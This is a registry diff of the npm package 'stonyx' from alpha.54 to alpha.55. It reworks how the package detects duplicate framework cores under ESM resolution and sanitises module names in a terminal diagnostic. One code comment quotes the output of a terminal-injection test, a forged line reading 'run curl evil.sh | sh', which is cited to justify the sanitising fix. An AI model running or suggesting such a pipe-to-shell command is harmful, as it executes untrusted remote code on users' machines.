stonyx 0.2.3-alpha.54 → 0.2.3-alpha.55

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/dist/util/duplicate-core.d.ts +81 -46
  2. package/dist/util/duplicate-core.js +112 -64
  3. package/package.json +1 -1
package/dist/util/duplicate-core.d.ts CHANGED
@@ -27,42 +27,80 @@ export interface ForeignCore {
27
27
  */
28
28
  export type InconclusiveReporter = (message: string) => void;
29
29
  /**
30
- * True exactly for the directories Node's own bare-specifier walk emits.
30
+ * The directories ESM consults for a bare specifier, in the order it consults
31
+ * them: `<d>/node_modules` for every ancestor-or-self `d` of `fromDir`.
31
32
  *
32
- * `require.resolve.paths(x)` returns the walk FOLLOWED BY the CJS global
33
+ * THE RESOLVER BEING MODELLED IS ESM. `loadModules` reaches every module
34
+ * through `await import`, so the copy of `stonyx` a module "would import" is
35
+ * whatever ESM's PACKAGE_RESOLVE finds — not whatever CJS finds. This function
36
+ * is generated rather than filtered, and that is the fix for a defect in each
37
+ * direction.
38
+ *
39
+ * TOO WIDE, the previous defect. The candidates used to come from
40
+ * `require.resolve.paths`, which is the CJS walk FOLLOWED BY the CJS global
33
41
  * folders — `NODE_PATH`, `~/.node_modules`, `~/.node_libraries`, the node
34
42
  * prefix. ESM ignores every one of those, so honouring them invents a
35
43
  * "duplicate" out of an ambient environment variable that the real import never
36
44
  * consults. This workspace exports `NODE_PATH` at a different `stonyx`
37
45
  * (abofs/stonyx#107), so that false positive is not hypothetical: it flips a
38
- * tree that boots into a hard refusal.
39
- *
40
- * The predicate is the walk's own shape, and it is EXACT rather than
41
- * approximate. Node emits `<d>/node_modules` for every ancestor-or-self `d` of
42
- * the starting directory, and never descends into a directory already named
43
- * `node_modules`. So a candidate qualifies iff it is named `node_modules`, its
44
- * parent is not, and its parent is an ancestor-or-self of the module dir. Any
45
- * global-folder entry meeting all three is by construction already in the walk,
46
- * so admitting it changes nothing; every other one is dropped.
47
- *
48
- * The PREVIOUS form tested only `dirname(candidate)` against the module dir.
49
- * For a real walk entry that is the package root and the test holds by
50
- * construction — but for a `NODE_PATH` entry the candidate is a raw directory,
51
- * so `dirname` is its PARENT, and any module dir under that parent passed. It
52
- * went green on macOS only because `os.tmpdir()` yields `/var/folders/...`
53
- * while the resolved module dir is `/private/var/folders/...`, so the prefix
54
- * comparison missed on `/private` rather than on non-ancestry. It reds on
55
- * Linux, and it reds on macOS the moment `TMPDIR` is realpath-clean.
56
- *
57
- * `Module.globalPaths` would express the same restriction by PROVENANCE rather
58
- * than by shape, and it was measured working at runtime — but `@types/node@25`
59
- * does not declare it, so it needs an untyped cast whose `?? []` fallback
60
- * silently restores the defect if the undeclared property ever moves. This form
61
- * typechecks natively and admits the identical set.
62
- *
63
- * `moduleDir` must already be realpath'd; `coreSeenBy` does that first.
46
+ * tree that boots into a hard refusal. Generating the walk REMOVES that failure
47
+ * mode rather than screening for it — nothing here reads the environment, so
48
+ * there is no list to get the screen wrong on.
49
+ *
50
+ * TOO NARROW, and this one was a SILENT MISS. `require.resolve.paths` is
51
+ * `Module._nodeModulePaths`, which never descends into a directory already
52
+ * named `node_modules`. **ESM's PACKAGE_RESOLVE has no such skip.** Measured
53
+ * with no `NODE_PATH` at all, from a module at `<app>/node_modules/@stonyx/x`:
54
+ *
55
+ * import.meta.resolve('stonyx') -> <app>/node_modules/node_modules/stonyx/main.js
56
+ * await import('stonyx') -> that copy
57
+ * require.resolve('stonyx') -> MODULE_NOT_FOUND
58
+ *
59
+ * A genuine second core there was missed silently. Worse, because ESM reaches
60
+ * the ancestor `<app>/node_modules` BEFORE `<app>`, that copy SHADOWS a correct
61
+ * local core at `<app>/node_modules/stonyx` while the pre-flight reported
62
+ * success — this file's own opening paragraph ("it loads, it initialises, it
63
+ * reports success, and its hooks silently never fire") surviving the check
64
+ * written to catch it. Isolating control, moving nothing but the directory: the
65
+ * same core at `<app>/node_modules/@stonyx/x/node_modules/stonyx` was REFUSED.
66
+ *
67
+ * BOUNDED BY ANCESTRY, not by a rule. `<app>/node_modules/node_modules` is a
68
+ * candidate because `<app>/node_modules` is an ancestor of the module dir; two
69
+ * levels of nesting is not a candidate, because
70
+ * `<app>/node_modules/node_modules` is not an ancestor of it. Measured: a core
71
+ * planted two levels deep resolves to the real core, and is correctly ignored.
72
+ *
73
+ * THE REJECTED ALTERNATIVE, and the correction that goes with it. While the
74
+ * candidates still came from `require.resolve.paths`, `Module.globalPaths` was
75
+ * reviewed as the screen instead of a shape test, and rejected here on typing
76
+ * grounds plus the claim that the two "admit the identical set". MEASURED, that
77
+ * claim is FALSE, and false in the direction that matters: `globalPaths` filters
78
+ * by STRING MEMBERSHIP, so whenever `NODE_PATH` names a directory that is also
79
+ * a genuine walk entry, the provenance screen drops the walk entry too. Pointed
80
+ * at `<app>/node_modules` with a real second core inside it:
81
+ *
82
+ * NODE_PATH=<app>/node_modules provenance -> no core found
83
+ * shape -> 0.0.0-APP-LOCAL-SECOND-CORE
84
+ * NODE_PATH unset (control) provenance -> 0.0.0-APP-LOCAL-SECOND-CORE
85
+ * shape -> 0.0.0-APP-LOCAL-SECOND-CORE
86
+ *
87
+ * That is a false NEGATIVE on the commonest tree there is — a second core in
88
+ * the app's own `node_modules` going invisible the moment a developer exports
89
+ * `NODE_PATH` at it. So the rejection was right and the stated reason was not:
90
+ * it is not an equal-but-untyped alternative, it is a narrower one that would
91
+ * have introduced a miss. Generating the walk retires the question entirely —
92
+ * there is no list to screen and no environment read — which is why neither
93
+ * screen survives here.
94
+ *
95
+ * ORDER IS LOAD-BEARING — it is what makes the shadowing case detectable, since
96
+ * the first candidate carrying a core is the one returned. It is Node's own
97
+ * order, verified positionally rather than assumed: a distinct core planted in
98
+ * each of the first four candidates and removed one at a time, `await import`
99
+ * selecting exactly this sequence.
100
+ *
101
+ * `fromDir` must already be realpath'd; `coreSeenBy` does that first.
64
102
  */
65
- export declare function isWalkEntry(candidate: string, moduleDir: string): boolean;
103
+ export declare function esmNodeModulesWalk(fromDir: string): string[];
66
104
  /**
67
105
  * The nearest ancestor of `startDir` that OWNS a `package.json`, reported only
68
106
  * if that package is `stonyx`.
@@ -86,23 +124,20 @@ export declare function runningCore(report?: InconclusiveReporter): CorePackage
86
124
  /**
87
125
  * The `stonyx` copy a package installed at `moduleDir` would import.
88
126
  *
89
- * `require.resolve.paths('stonyx')` gives Node's own `node_modules` walk for a
90
- * bare specifier, which ESM and CJS share — and unlike `require.resolve` it
91
- * does not consult the target's `exports` map, so a module whose nested core
92
- * is present but unbuilt is still detected rather than silently skipped.
93
- *
94
- * TWO deliberate narrowings:
95
- *
96
- * - `moduleDir` is realpath'd FIRST. Under pnpm, `<app>/node_modules/@stonyx/orm`
97
- * is a symlink into `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node
98
- * resolves that symlink before resolving the module's own imports. Walking
99
- * the symlink path instead reads the app's flat `node_modules` and reports
100
- * the running core for every module — the check would pass vacuously on
101
- * exactly the installer `stonyx new` uses.
102
- * - Candidates are restricted to the entries Node's own walk emits, by
103
- * `isWalkEntry`. `require.resolve.paths` appends the CJS global folders
104
- * after the walk and ESM ignores every one of them; see that function for
105
- * why the predicate is what it is and what the previous one got wrong.
127
+ * The candidate set is `esmNodeModulesWalk` — Node's ESM walk, generated, in
128
+ * Node's order — because ESM is the resolver `loadModules` actually uses. The
129
+ * first candidate that carries a `stonyx` package root wins, which is exactly
130
+ * how PACKAGE_RESOLVE picks. Manifests are read directly rather than through
131
+ * `require.resolve`, so a module whose nested core is present but unbuilt is
132
+ * still detected rather than silently skipped by an `exports` map.
133
+ *
134
+ * ONE deliberate narrowing beyond the walk: `moduleDir` is realpath'd FIRST.
135
+ * Under pnpm, `<app>/node_modules/@stonyx/orm` is a symlink into
136
+ * `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node resolves that
137
+ * symlink before resolving the module's own imports. Walking the symlink path
138
+ * instead reads the app's flat `node_modules` and reports the running core for
139
+ * every module — the check would pass vacuously on exactly the installer
140
+ * `stonyx new` uses.
106
141
  *
107
142
  * Returns `null` when no copy is reachable at all — "cannot tell", handled as
108
143
  * not-a-duplicate by `findForeignCores`. Manifests that exist but will not read
package/dist/util/duplicate-core.js CHANGED
@@ -21,9 +21,8 @@
21
21
  * EXACTLY in their own `dependencies`, and an exact pin cannot dedupe against
22
22
  * a sibling's different exact pin.
23
23
  */
24
- import { createRequire } from 'node:module';
25
24
  import { readFileSync, realpathSync } from 'node:fs';
26
- import { basename, dirname, join, sep } from 'node:path';
25
+ import { dirname, join } from 'node:path';
27
26
  import { fileURLToPath } from 'node:url';
28
27
  /** Symlinks resolved so `/tmp/...` and `/private/tmp/...` — and pnpm's
29
28
  * `node_modules/x -> .pnpm/x@v/node_modules/x` — compare equal. */
@@ -37,48 +36,86 @@ function realPath(path) {
37
36
  }
38
37
  const IGNORE = () => { };
39
38
  /**
40
- * True exactly for the directories Node's own bare-specifier walk emits.
39
+ * The directories ESM consults for a bare specifier, in the order it consults
40
+ * them: `<d>/node_modules` for every ancestor-or-self `d` of `fromDir`.
41
41
  *
42
- * `require.resolve.paths(x)` returns the walk FOLLOWED BY the CJS global
42
+ * THE RESOLVER BEING MODELLED IS ESM. `loadModules` reaches every module
43
+ * through `await import`, so the copy of `stonyx` a module "would import" is
44
+ * whatever ESM's PACKAGE_RESOLVE finds — not whatever CJS finds. This function
45
+ * is generated rather than filtered, and that is the fix for a defect in each
46
+ * direction.
47
+ *
48
+ * TOO WIDE, the previous defect. The candidates used to come from
49
+ * `require.resolve.paths`, which is the CJS walk FOLLOWED BY the CJS global
43
50
  * folders — `NODE_PATH`, `~/.node_modules`, `~/.node_libraries`, the node
44
51
  * prefix. ESM ignores every one of those, so honouring them invents a
45
52
  * "duplicate" out of an ambient environment variable that the real import never
46
53
  * consults. This workspace exports `NODE_PATH` at a different `stonyx`
47
54
  * (abofs/stonyx#107), so that false positive is not hypothetical: it flips a
48
- * tree that boots into a hard refusal.
55
+ * tree that boots into a hard refusal. Generating the walk REMOVES that failure
56
+ * mode rather than screening for it — nothing here reads the environment, so
57
+ * there is no list to get the screen wrong on.
58
+ *
59
+ * TOO NARROW, and this one was a SILENT MISS. `require.resolve.paths` is
60
+ * `Module._nodeModulePaths`, which never descends into a directory already
61
+ * named `node_modules`. **ESM's PACKAGE_RESOLVE has no such skip.** Measured
62
+ * with no `NODE_PATH` at all, from a module at `<app>/node_modules/@stonyx/x`:
63
+ *
64
+ * import.meta.resolve('stonyx') -> <app>/node_modules/node_modules/stonyx/main.js
65
+ * await import('stonyx') -> that copy
66
+ * require.resolve('stonyx') -> MODULE_NOT_FOUND
67
+ *
68
+ * A genuine second core there was missed silently. Worse, because ESM reaches
69
+ * the ancestor `<app>/node_modules` BEFORE `<app>`, that copy SHADOWS a correct
70
+ * local core at `<app>/node_modules/stonyx` while the pre-flight reported
71
+ * success — this file's own opening paragraph ("it loads, it initialises, it
72
+ * reports success, and its hooks silently never fire") surviving the check
73
+ * written to catch it. Isolating control, moving nothing but the directory: the
74
+ * same core at `<app>/node_modules/@stonyx/x/node_modules/stonyx` was REFUSED.
75
+ *
76
+ * BOUNDED BY ANCESTRY, not by a rule. `<app>/node_modules/node_modules` is a
77
+ * candidate because `<app>/node_modules` is an ancestor of the module dir; two
78
+ * levels of nesting is not a candidate, because
79
+ * `<app>/node_modules/node_modules` is not an ancestor of it. Measured: a core
80
+ * planted two levels deep resolves to the real core, and is correctly ignored.
81
+ *
82
+ * THE REJECTED ALTERNATIVE, and the correction that goes with it. While the
83
+ * candidates still came from `require.resolve.paths`, `Module.globalPaths` was
84
+ * reviewed as the screen instead of a shape test, and rejected here on typing
85
+ * grounds plus the claim that the two "admit the identical set". MEASURED, that
86
+ * claim is FALSE, and false in the direction that matters: `globalPaths` filters
87
+ * by STRING MEMBERSHIP, so whenever `NODE_PATH` names a directory that is also
88
+ * a genuine walk entry, the provenance screen drops the walk entry too. Pointed
89
+ * at `<app>/node_modules` with a real second core inside it:
49
90
  *
50
- * The predicate is the walk's own shape, and it is EXACT rather than
51
- * approximate. Node emits `<d>/node_modules` for every ancestor-or-self `d` of
52
- * the starting directory, and never descends into a directory already named
53
- * `node_modules`. So a candidate qualifies iff it is named `node_modules`, its
54
- * parent is not, and its parent is an ancestor-or-self of the module dir. Any
55
- * global-folder entry meeting all three is by construction already in the walk,
56
- * so admitting it changes nothing; every other one is dropped.
91
+ * NODE_PATH=<app>/node_modules provenance -> no core found
92
+ * shape -> 0.0.0-APP-LOCAL-SECOND-CORE
93
+ * NODE_PATH unset (control) provenance -> 0.0.0-APP-LOCAL-SECOND-CORE
94
+ * shape -> 0.0.0-APP-LOCAL-SECOND-CORE
57
95
  *
58
- * The PREVIOUS form tested only `dirname(candidate)` against the module dir.
59
- * For a real walk entry that is the package root and the test holds by
60
- * construction — but for a `NODE_PATH` entry the candidate is a raw directory,
61
- * so `dirname` is its PARENT, and any module dir under that parent passed. It
62
- * went green on macOS only because `os.tmpdir()` yields `/var/folders/...`
63
- * while the resolved module dir is `/private/var/folders/...`, so the prefix
64
- * comparison missed on `/private` rather than on non-ancestry. It reds on
65
- * Linux, and it reds on macOS the moment `TMPDIR` is realpath-clean.
96
+ * That is a false NEGATIVE on the commonest tree there is — a second core in
97
+ * the app's own `node_modules` going invisible the moment a developer exports
98
+ * `NODE_PATH` at it. So the rejection was right and the stated reason was not:
99
+ * it is not an equal-but-untyped alternative, it is a narrower one that would
100
+ * have introduced a miss. Generating the walk retires the question entirely —
101
+ * there is no list to screen and no environment read — which is why neither
102
+ * screen survives here.
66
103
  *
67
- * `Module.globalPaths` would express the same restriction by PROVENANCE rather
68
- * than by shape, and it was measured working at runtime — but `@types/node@25`
69
- * does not declare it, so it needs an untyped cast whose `?? []` fallback
70
- * silently restores the defect if the undeclared property ever moves. This form
71
- * typechecks natively and admits the identical set.
104
+ * ORDER IS LOAD-BEARING — it is what makes the shadowing case detectable, since
105
+ * the first candidate carrying a core is the one returned. It is Node's own
106
+ * order, verified positionally rather than assumed: a distinct core planted in
107
+ * each of the first four candidates and removed one at a time, `await import`
108
+ * selecting exactly this sequence.
72
109
  *
73
- * `moduleDir` must already be realpath'd; `coreSeenBy` does that first.
110
+ * `fromDir` must already be realpath'd; `coreSeenBy` does that first.
74
111
  */
75
- export function isWalkEntry(candidate, moduleDir) {
76
- if (basename(candidate) !== 'node_modules')
77
- return false;
78
- const owner = dirname(candidate);
79
- if (basename(owner) === 'node_modules')
80
- return false;
81
- return moduleDir === owner || moduleDir.startsWith(owner.endsWith(sep) ? owner : owner + sep);
112
+ export function esmNodeModulesWalk(fromDir) {
113
+ const walk = [];
114
+ for (let dir = fromDir;; dir = dirname(dir)) {
115
+ walk.push(join(dir, 'node_modules'));
116
+ if (dirname(dir) === dir)
117
+ return walk;
118
+ }
82
119
  }
83
120
  /**
84
121
  * `null` when nothing is there — the ordinary case while walking up.
@@ -149,23 +186,20 @@ export function runningCore(report = IGNORE) {
149
186
  /**
150
187
  * The `stonyx` copy a package installed at `moduleDir` would import.
151
188
  *
152
- * `require.resolve.paths('stonyx')` gives Node's own `node_modules` walk for a
153
- * bare specifier, which ESM and CJS share — and unlike `require.resolve` it
154
- * does not consult the target's `exports` map, so a module whose nested core
155
- * is present but unbuilt is still detected rather than silently skipped.
156
- *
157
- * TWO deliberate narrowings:
189
+ * The candidate set is `esmNodeModulesWalk` — Node's ESM walk, generated, in
190
+ * Node's order — because ESM is the resolver `loadModules` actually uses. The
191
+ * first candidate that carries a `stonyx` package root wins, which is exactly
192
+ * how PACKAGE_RESOLVE picks. Manifests are read directly rather than through
193
+ * `require.resolve`, so a module whose nested core is present but unbuilt is
194
+ * still detected rather than silently skipped by an `exports` map.
158
195
  *
159
- * - `moduleDir` is realpath'd FIRST. Under pnpm, `<app>/node_modules/@stonyx/orm`
160
- * is a symlink into `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node
161
- * resolves that symlink before resolving the module's own imports. Walking
162
- * the symlink path instead reads the app's flat `node_modules` and reports
163
- * the running core for every module — the check would pass vacuously on
164
- * exactly the installer `stonyx new` uses.
165
- * - Candidates are restricted to the entries Node's own walk emits, by
166
- * `isWalkEntry`. `require.resolve.paths` appends the CJS global folders
167
- * after the walk and ESM ignores every one of them; see that function for
168
- * why the predicate is what it is and what the previous one got wrong.
196
+ * ONE deliberate narrowing beyond the walk: `moduleDir` is realpath'd FIRST.
197
+ * Under pnpm, `<app>/node_modules/@stonyx/orm` is a symlink into
198
+ * `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node resolves that
199
+ * symlink before resolving the module's own imports. Walking the symlink path
200
+ * instead reads the app's flat `node_modules` and reports the running core for
201
+ * every module — the check would pass vacuously on exactly the installer
202
+ * `stonyx new` uses.
169
203
  *
170
204
  * Returns `null` when no copy is reachable at all — "cannot tell", handled as
171
205
  * not-a-duplicate by `findForeignCores`. Manifests that exist but will not read
@@ -173,10 +207,7 @@ export function runningCore(report = IGNORE) {
173
207
  */
174
208
  export function coreSeenBy(moduleDir, report = IGNORE) {
175
209
  const resolvedModuleDir = realPath(moduleDir);
176
- const candidates = createRequire(join(resolvedModuleDir, 'package.json')).resolve.paths('stonyx') ?? [];
177
- for (const nodeModulesDir of candidates) {
178
- if (!isWalkEntry(nodeModulesDir, resolvedModuleDir))
179
- continue;
210
+ for (const nodeModulesDir of esmNodeModulesWalk(resolvedModuleDir)) {
180
211
  const core = asCore(join(nodeModulesDir, 'stonyx'), report);
181
212
  if (core)
182
213
  return core;
@@ -216,13 +247,22 @@ export function findForeignCores(modules, core = undefined, report = IGNORE) {
216
247
  return foreign;
217
248
  }
218
249
  /**
219
- * Third-party manifest data is not trusted for display.
250
+ * NOTHING OFF DISK IS TRUSTED FOR DISPLAY — all three interpolated fields.
251
+ *
252
+ * `version` and the package root come from a manifest this app did not write.
253
+ * `moduleName` is narrower — it is a key from the app's own `devDependencies`,
254
+ * so forging it is an app author forging their own diagnostic — but it is
255
+ * rendered through the same `padEnd` table, and it caused the same two
256
+ * symptoms: seeded with ANSI escapes and embedded newlines it FORGED A
257
+ * COMPLETE TABLE ROW inside the diagnostic (`===> ALERT: run curl evil.sh |
258
+ * sh <===`, indented to match) and destroyed the column alignment, because the
259
+ * widths are computed from the raw multi-line label.
260
+ *
261
+ * It was left raw at three sites while its two neighbours were sanitised — the
262
+ * package ROOT derived from that same name is sanitised in the very same row.
263
+ * Two halves of one string treated differently is an oversight, not a
264
+ * judgement, so it is closed rather than argued down.
220
265
  *
221
- * `version` and the directory name both come off disk from a package this app
222
- * did not write, and both are echoed into a message a human reads in a
223
- * terminal. Seeded with ANSI escapes and embedded newlines, the raw value
224
- * FORGED ITS OWN LINES inside the diagnostic — `===> ALERT: run curl evil.sh |
225
- * sh <===`, indented to match — and destroyed the `padEnd` column alignment.
226
266
  * This renders BEFORE any module entry point is imported, so it is reachable
227
267
  * under `npm install --ignore-scripts`: the one mode in which no third-party
228
268
  * code has otherwise executed.
@@ -231,11 +271,19 @@ export function findForeignCores(modules, core = undefined, report = IGNORE) {
231
271
  * the message off screen either.
232
272
  */
233
273
  /**
234
- * Roots are clamped at `PATH_MAX` rather than at the version's 64. A root is
235
- * the one thing in this message a consumer acts on directly, and a truncated
236
- * path is worse than a long one — the version is a label, the path is an
274
+ * Roots are clamped at `PATH_MAX` rather than at the default 64. A root is the
275
+ * one thing in this message a consumer acts on directly, and a truncated path
276
+ * is worse than a long one — the version is a label, the path is an
237
277
  * instruction. Nothing longer than this can exist on the filesystems Node runs
238
278
  * on, so in practice a root is sanitised and never shortened.
279
+ *
280
+ * WHAT DECIDES THE LIMIT IS THE COLUMN, not the field's importance. The root is
281
+ * rendered LAST on its line and is never `padEnd`ed, so its length costs
282
+ * nothing but its own wrap. The module name and the version are both inside
283
+ * PADDED columns whose widths are the max over every row, so one long value
284
+ * there pushes every other row's remaining columns off screen. Those two take
285
+ * the tight default; a scoped `@stonyx/*` devDependency key is far short of it,
286
+ * so a real name is sanitised and never shortened either.
239
287
  */
240
288
  const PATH_LIMIT = 1024;
241
289
  function display(value, limit = 64) {
@@ -256,7 +304,7 @@ export function duplicateCoreMessage(foreign) {
256
304
  const [first] = foreign;
257
305
  if (!first)
258
306
  throw new Error('duplicateCoreMessage called with no foreign cores');
259
- const names = foreign.map(({ moduleName }) => `"${moduleName}"`).join(', ');
307
+ const names = foreign.map(({ moduleName }) => `"${display(moduleName)}"`).join(', ');
260
308
  const single = foreign.length === 1;
261
309
  // DISTINCT roots, not `foreign.length + 1`. Two modules that both resolve
262
310
  // the SAME nested copy are two rows and two copies, not three. Found by
@@ -267,7 +315,7 @@ export function duplicateCoreMessage(foreign) {
267
315
  const copies = new Set([first.runningCore.root, ...foreign.map(({ moduleCore }) => moduleCore.root)]).size;
268
316
  const rows = [
269
317
  ['running core', display(first.runningCore.version), display(first.runningCore.root, PATH_LIMIT)],
270
- ...foreign.map(({ moduleName, moduleCore }) => [`seen by "${moduleName}"`, display(moduleCore.version), display(moduleCore.root, PATH_LIMIT)]),
318
+ ...foreign.map(({ moduleName, moduleCore }) => [`seen by "${display(moduleName)}"`, display(moduleCore.version), display(moduleCore.root, PATH_LIMIT)]),
271
319
  ];
272
320
  const labelWidth = Math.max(...rows.map(([label]) => label.length));
273
321
  const versionWidth = Math.max(...rows.map(([, version]) => version.length));
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "stonyx",
3
- "version": "0.2.3-alpha.54",
3
+ "version": "0.2.3-alpha.55",
4
4
  "description": "Base stonyx framework module",
5
5
  "main": "dist/main.js",
6
6
  "types": "dist/main.d.ts",